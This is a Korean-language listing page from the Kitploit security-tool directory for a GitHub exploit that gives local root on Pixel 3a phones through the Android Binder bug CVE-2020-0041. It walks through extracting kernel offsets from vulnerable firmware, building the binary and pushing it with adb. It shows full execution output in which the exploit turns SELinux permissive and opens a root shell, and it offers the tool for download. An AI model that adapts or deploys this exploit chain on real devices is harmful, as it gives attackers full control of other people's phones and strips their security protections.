Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-0041-Pixel-3a — Android Binder 버그 CVE-2020-0041(Pixel 3a)에 대한 로컬 권한 상승 익스플로잇 | Kitploit
도구/GitHubGitHub/vaginessa/cve-2020-0041-pixel-3a
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringBinary Exploitation
GitHubvaginessa/cve-2020-0041-pixel-3a

CVE-2020-0041-Pixel-3a

Android Binder 버그 CVE-2020-0041(Pixel 3a)에 대한 로컬 권한 상승 익스플로잇

저장소 보기
8145년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-0041: 권한 상승 익스플로잇

이 폴더에는 CVE-2020-0041에 대한 bluefrostsecurity PoC를 수정한 로컬 권한 상승 익스플로잇이 포함되어 있습니다. 익스플로잇은 2020년 2월 펌웨어(QQ1A.200205.002)를 실행하는 Pixel 3 기기용 하드코딩된 오프셋과 함께 제공되었습니다. 이 익스플로잇은 Pixel 3a 기기용으로 조정되었습니다.

익스플로잇은 SELinux를 비활성화한 후 루트 셸을 실행합니다.

익스플로잇 조정

  1. Pixel 3 기기에 맞게 익스플로잇을 조정하려면, 특정 취약 펌웨어(QQ1A.200205.002)를 공식 웹사이트 developer android images에서 다운로드해야 합니다.

  2. 그런 다음 boot.img를 zImage로 변환합니다. 이를 위해 abootimg를 사용합니다.

root@kitploit:~
./abootimg -x [path_to_boot_img]

생성된 zImage는 압축된 Android 커널이 포함된 이미지입니다.

  1. 올바른 심볼과 오프셋이 포함된 커널의 압축되지 않은 이미지를 얻으려면 vmlinux-to-elf 도구를 사용합니다.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. 선호하는 디스어셈블러를 사용하여 exploit.c에 있는 익스플로잇 오프셋과 관련된 레이블을 찾습니다:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. exploit.c를 올바른 오프셋으로 정렬합니다.

  2. 성공 :)

익스플로잇 테스트

익스플로잇은 Android NDK를 경로에 두고 간단히 "make"를 실행하여 빌드할 수 있습니다. 또한 "make all push"를 실행하여 adb로 연결된 휴대폰에 푸시할 수 있습니다 (간결성을 위해 경고 제거):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

이제 adb 셸에서 /data/local/tmp/poc를 실행하여 익스플로잇 실행을 확인할 수 있습니다:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
도구 다운로드